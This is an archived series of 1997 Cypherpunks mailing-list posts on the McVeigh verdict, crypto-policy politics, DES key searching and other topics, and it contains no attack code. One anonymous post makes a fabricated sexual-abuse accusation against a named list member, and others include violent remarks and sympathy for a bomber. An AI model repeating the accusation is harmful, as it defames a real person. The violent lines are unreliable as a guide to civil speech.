> I would like to know how to help him, and suggest to organize his
> legal defense fund.

Welp, just tell us where to send the $$$. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 06:58:37 +0800
To: cypherpunks@toad.com
Subject: Just Behind The Curve
Message-ID: <199706022243.RAA21540@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I almost forgot,

I rewrote a couple of paragraphs on my paper:

"Security Risks & Benefits in Implementing Automatic Processing of PKE in
Electronic Mail".

I even put in some pretty pictures so the tit suckers in DC would have
somthing to look at.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=zWEU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 3 Jun 1997 05:52:34 +0800
To: cypherpunks@toad.com
Subject: McVeigh
Message-ID: <33934A8F.6114@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timothy McVeigh was found guilty on all counts today.  I am not
surprised.  People will believe anything the govt. says, and besides,
the governments lawyers were obviously more expensive than McVeigh's. 
This is a sad day for all anti-government haters.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Truth Monger <tm@dev.null>
Date: Tue, 3 Jun 1997 08:19:46 +0800
To: cypherpunks@toad.com
Subject: EPIC...Buy Guns!
Message-ID: <199706022335.RAA19670@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


I just watched a Detroit news report on the paramilitary and how the
'regular' citizens would have no problem with the government's desire
to criminalize the existence of paramilitary group.
  A reporter expressed the view that the government is "hesitant" to
"strongarm" legislation that limits the constitutional rights of the
paramilitarists because they fear the "trouble" that would arise.

  Perhaps we should approach the Michigan Militia to represent us in
crypto issues involving government regulation.
  "Reasonable compromise" should refer to promising your opponent a
quick death.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 3 Jun 1997 00:24:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: May's Banal Rant
Message-ID: <199706021558.RAA27508@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin wrote:
>I don't understand this.  Of all the alphabet soup privacy groups out
>there, EPIC is the one I consider most pro-privacy and anonymity other
>than the ACLU itself.  And EPIC knows the tech better, on the whole
>(although the ACLU is quite clued-up too).  It is true that EPIC is not
>absolutist on SAFE -- and I'm not quite sure that they are right to give
>even the inch they gave to get a mile -- but they're awfully good.
>
>Rotenburg should be a near-hero to most readers of this list.  Instead,
>canabalism.   Weird.  Very weird.

What most of us think is very weird is Rotenburg's apparent inability
to carry on a coherent dialogue.  Tim May raised several solid and
specific points.  We've got back ad hominem attacks on "libertarians".
Instead of name calling, Rotenburg would have done well to simply
justify (or change) his position.

At this point, Mr. Rotenburg and his supporters should explain exactly
what it is they do for us and how we can verify it.  "We arrived at a
compromise with the Senate" is not persuasive to most of the people on
this list.  When you believe that privacy will be promoted by hiring
more bureacrats the level of trust warranted is not high.  So, if EPIC
is doing any good, it had better be the kind of good we can monitor.

As for the ACLU, they are notoriously inconsistent when it comes to
the Constitution.  They seem to be pretty good with the First
Amendment, but that's about it.  They undermine the Second Amendment.
They campaign for welfare on the basis that it is a prerequisite for
the exercise of civil rights.  They sue aspirin manufacturers for
labelling their products in English.  They push "fair" credit laws.
Etc. Etc.

We don't need friends like the ACLU or, it appears, EPIC.

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 3 Jun 1997 11:02:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: McVeigh
In-Reply-To: <199706030020.TAA04784@manifold.algebra.com>
Message-ID: <199706030103.SAA24459@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor writes:

> Is that the end of the story? I understand it that he can appeal, and
> will. 

One of the major flaws of the Criminal Justice System in this country is
that one can only appeal based on procedural issues.  No one, after a
trial has concluded, may ever challenge the trial verdict. They may only
argue that the proper ritual was not followed, and higher courts are very
reluctant to disagree with the actions of lower courts, preferring instead
to state that the errors committed would likely not have affected the
outcome. 

It gets even worse than that.  Many states, Texas amongst them, have a
time limit for the introduction of new evidence after a trial, even if it
completely exonerates the defendent, and are prefectly willing to execute
someone as long as they have been given "due process," even if it has been
clearly demonstrated that they are not guilty. 

Thus the Sheeple are led by their politicians to ridicule the numerous
often-frivilous appeals defendents engage in, irrespective of the fact
that frivilous appeals are the only ones allowed under law, the defendant
having no right at all to suggest that twelve Sheeple being performed for
by the local prosecutor produced something other than a Biblically inerant
verdict. 

McVeigh therefore has no chance at all at getting another hearing on the
facts of the case.  He might claim that the confidential attorney/client
work product stolen from the defense team computer on the eve of the trial
and touted in papers nationwide as a "confession"  poisoned the jury pool. 
But even that has little luck at succeeding. 

The only difference between Tim McVeigh and Richard Jewell is that the
government stopped the hatchet job on Jewell in midstream. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Tue, 3 Jun 1997 06:31:44 +0800
To: cypherpunks@toad.com
Subject: From Inter@ctive Week: Denning no longer backing key escrow?
Message-ID: <3.0.2.32.19970602181107.007398c8@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Here's an interesting question:
What happens when your star technical witness tells others she's no longer 
your witness at all?
Denning now says she has doubts...

(Responses? I'm no longer on cypherpunks, so mail me directly.

Cheers

 - Will

Administration Supporter Having Second Thoughts On Encryption Plan

By Will Rodger 1:30 PM EDT

Nixon went to China. Constantine converted to Christianity. Napoleon crowned 
himself emperor.

So why can't Dorothy Denning be a cypherpunk?

That's the question encryption mavens ask as the Georgetown University 
computer scientist slowly lets the word out: She won't back government plans 
for key recovery, key escrow or anything else alleged to increase national 
security until backers show that the benefits of controls on encryption 
outweighs those of letting free market forces govern its use.

That's a far cry from the way she once talked about encryption technology. As 
recently as this year Denning was pegged as a strong backer of keeping 
controls on a wide range of computer-security products.

"Maybe export controls should be lifted," Denning said. "But I'm not saying 
that all controls should be lifted. I've gotten into a state where I don't 
know and I'm not sure that I ever knew."

Denning may be the only prominent cryptographer to support government control 
of encryption technology, the underlying technology behind nearly all 
Internet security devices that scramble information so even the wiliest 
hacker is powerless to decode it. As the author of the first widely read 
textbook on the subject, her opinion carries weight with at least some in the 
encryption community.

Since encryption can be used to defeat lawful wiretaps and other electronic 
searches and seizures, Denning backed law enforcement as it tried to fight 
encryption's spread abroad.

But now a host of objections to the Clinton administration's plan have turned 
the argument on its head. As the Internet becomes more popular for business 
use, encryption is more important than ever to keep hackers out. And a recent 
cryptographer's report suggesting that it would be far riskier to give 
governments spare keys to decode messages in a few places than not to have 
third party access at all has clearly shaken Denning's confidence.

Policy specialists in Washington and elsewhere have speculated that Denning 
would announce something soon, but none wants to push her for fear of 
alienating someone who could end up a potent ally.

"I don't think any close scientific observer of this debate can deny that 
there are real technical concerns raised by the Administration's position," 
said Alan Davidson, counsel with the Center for Democracy and Technology.

"I think its just best for us to sit back and not say anything at this 
point," added another prominent activist. "We don't want to force her hand."

Will Denning go over to the other side?

"I'm not advocating anything anymore," Denning said. "I support what the 
administration is doing because I really see them struggling with these 
things."
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Will Rodger
Washington Bureau Chief
Inter@ctive Week
A Ziff-Davis Publication
http://www.interactiveweek.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 3 Jun 1997 08:47:25 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: McVeigh
In-Reply-To: <199706022240.AAA16234@basement.replay.com>
Message-ID: <199706030020.TAA04784@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Anonymous wrote:
> 
> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
> > Timothy McVeigh was found guilty on all counts today.  I am not
> > surprised.  People will believe anything the govt. says, and besides,
> > the governments lawyers were obviously more expensive than McVeigh's. 
> > This is a sad day for all anti-government haters.
> 
> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
> of the OKC bomber.
> 
> Tim May: "broken eggs and all that"

Is that the end of the story? I understand it that he can appeal, and will.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Mon, 2 Jun 1997 15:58:38 +0800
To: cypherpunks@algebra.com
Subject: Re: Creating a unique ID number for a dollar
Message-ID: <86523747331750@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


Death rays from Mars made Tim May <tcmay@got.net> write:
 
>There's a way to generate a number for any person which is unique. It is not 
>shared by anyone else on the planet.
 
It's not guaranteed unique.  First, the dollar you use may be a forgery (why 
forge a dollar?  I don't know, maybe they're practicing on low-denomination 
notes which noone ever looks at closely so they can get the twenties and 
hundreds perfect.  I have a vague memory of someone doing this with either US 
dollars or UK pound notes some time ago, motivated by the "noone would ever 
bother forging a dollar/pound, so it has to be genuine" mentality).  In 
addition you'd have to specify "US dollar" rather than just "dollar" because, 
apart from the different serial number formats, some countries will reissue 
banknotes if the originals are damaged in printing, which leads to the 
possibility of two (legitimate) notes with the same serial number being in 
circulation if the original isn't destroyed as required (I have some of these 
replacement notes for now-defunct NZ dollar and two-dollar notes stashed away 
somewhere).  Does the US Treasury issue replacement notes if the originals are 
damaged in printing, or does it just destroy the notes and leave it at that?
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 3 Jun 1997 02:11:17 +0800
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <199706021745.TAA08670@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May sexually molests little children, farm animals, and 
inanimate objects.

             ,,,
            ($ $)
        -ooO-(_)-Ooo- Timmy C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 3 Jun 1997 08:13:35 +0800
To: cypherpunks@toad.com
Subject: Re: From Inter@ctive Week: Denning no longer backing key escrow?
Message-ID: <199706022353.TAA06529@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Will Rodger wrote:
> Here's an interesting question:
> What happens when your star technical witness tells others she's no longer
> your witness at all?

> Denning now says she has doubts...
> "Maybe export controls should be lifted," Denning said. "But I'm not saying
> that all controls should be lifted. I've gotten into a state where I don't
> know and I'm not sure that I ever knew."

  Translation: Denning is waiting for the check from Sun Microsystems
to clear before she finally makes up her mind.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kirk Fort" <kirkfort@teleplex.net>
Date: Tue, 3 Jun 1997 08:21:17 +0800
To: <cypherpunks@toad.com>
Subject: okc trial
Message-ID: <199706030019.UAA24151@teleplex.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I hope Tim McVeigh frys. His friend Terry too.

"Dust off old sparky, its time to start cooking"

Kirk


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=lS7M
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 11:32:39 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706030310.WAA25254@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------


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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 3 Jun 1997 02:29:13 +0800
To: cypherpunks@cyberpass.net
Subject: any off-line client for DES crack?
Message-ID: <199706021817.UAA13019@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



I'd like to train a couple of off-the-net computers to crack 
DES.  Unfortunately there appears to be no off-line client 
which uses files, so I can sneakernet a big batch of "try this
keyspace" requests, leave it running for a few weeks, and then
sneakernet the results back.


Yeah, I could hack it myself, but I thought I'd recommend the 
idea to the people who are actually coordinating the searches.


(Of course the user should be able to tell if the client has 
scored the key.  Some users may well decide not to bother 
sneakernetting "not found" results back to the Net, but will 
check to see if their client won.)


(In case you are worried, I am good net.citizen who trims 
Newsgroups: lines, is careful not to take the name of Kibo in 
vain, and who never trolls for newbies by posting "follow-up to 
this article to get free nude picture of Sandra Bullock!".  So
_I_, therefore, would faithfully sneakernet my "key not found"
results back to the Net.)


Regards,

Zooko Journeyman

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 3 Jun 1997 08:06:07 +0800
To: vinnie@webstuff.apple.com
Subject: Re: Comments on the Macintosh
In-Reply-To: <v03102803afb8af25877d@[17.203.21.78]>
Message-ID: <199706021933.UAA00605@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Vinnie Moscaritolo <vinnie@webstuff.apple.com> writes:
> Tim May <tcmay@got.net> writes:
> >.the Mac OS is of course still missing basic OS features such as... memory
> >>protection.)
> 
> Tim,.I am suprised to hear you whining with such a liberals voice..  I
> always thought that  demanding memory protection in an OS  is a lot like
> demanding that the government is responsible for protecting you from
> anything that might go bad.. If applications are well written, then you
> really dont need the memory partitions in a personal computer.

Are you serious?  Or are you pulling our leg?

>  That is if application writers would take responsibility for thier own
> apps... 

People write crap software.  Microsoft writes crap software.  If the
OS reboots or freezes every time a microsoft app dumps core on you, it
gets tedious.  If you are developing software you don't want a reboot
just 'cause you got a stray pointer.

Real multi-tasking is kind of nice too, like when the mouse cursor
still functions, and your system still runs while copying a file to a
floppy disk.  (The entire system freezes for the duration of the
operation with win3.1, and I think it is still noticeable in win95.
Linux where as you wouldn't know there was a floppy being copied if
you didn't glance down at the drive light.)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 11:30:25 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706030310.WAA25264@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 3 Jun 1997 11:09:40 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Webpage picketing?...
Message-ID: <199706030135.UAA13557@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

I have been looking at how to impliment picketing on the web. To date I have
been unable to come up with a way to force a connection to one machine to go
through a third machine in order to express some view about the original
target.

This idea came to me while watching some folks picket a local grocer over
something I couldn't make out (the signs were poorly done). It occured to me
that since one could argue that the links between sites are public avenues a
site could 'picket' another site. The question became at this point, how?

So far I have been unable to figure a way out. Any ideas you might care to
share with us all?


   _______________________________________________________________________
  |                                                                       |
  |      No people do so much harm as those who go about doing good.      |
  |                                                                       |
  |                                           Mandell Creighton           |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 11:25:48 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706030310.WAA25273@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 3 Jun 1997 10:56:25 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <33934A8F.6114@popmail.firn.edu>
Message-ID: <3393682D.167E@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
> > Timothy McVeigh was found guilty on all counts today.  I am not
> > surprised.  People will believe anything the govt. says, and besides,
> > the governments lawyers were obviously more expensive than McVeigh's.
> > This is a sad day for all anti-government haters.
> 
> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> of the OKC bomber.

I'm surprised at the concern. After all I've not noticed militia
supporters and appologists speaking out against the death penalty.

If one is driving away from the scene of the biggest single terrorist
incident on US soil one is probably well advised to both have 
license plates on the car and not be carrying unlicensed firearms.
If one is arrested its probably not advisable to counter interrogation
by refusing to give more than name rank and serial number, a request
to see a lawyer is probably a more sensible choice.

The one problem I have with the trial is the leaking of the
defense notes. I suspect that they are genuine and that McVeigh 
really did confess. In the UK publication would be barred for
the duration of the trial and heavy jail sentences imposed since
the right to a fair trial is considered a reasonable justification
for a temporary bar on the right to free speech. However I would
not argue that the trial be halted as a result since one 
possible explanation is that the defense saw that there was no 
chance of aquital and gambled on gaining a mistrial. 

$10 million for 5 days of defense evidence tends to suggest that 
there was not much evidence to show. 


Appologists for McVeigh should consider that his actions did not 
advance the militia cause an iota, it destroyed it and along with 
it much of the right wing fringe. It forced Rush Limbaugh off 
television and many right wing hosts off radio. The sympathy
shown for the bomber's motives made the country aware that it
did not share the anti-government sentiment. Clinton's poll 
recovery dates precisely from the moment of the Oaklahoma 
bomb. If you read the propaganda being generated durning the
budget impasse its pretty ovbvious that Clinton was successful
in portraying Newt as a legislative version of McVeigh, Newt
had of course alligned himself with the most extreme of the 
talk show hosts Liddy and Limbaugh when he became speaker. 

McVeigh ripped the heart out of the militia movement, he demonstrated
what it was really about. Ironically the Oaklahoma bombing may have
had precisely the effect McVeigh desired but in a very different 
sense. It was a wake up call to defend the country from fascism 
but the fascist threat was McVeigh and the millitia movement.


The millitia movement have only two possible scripts at this
point and one might well be denied them. They can either admit
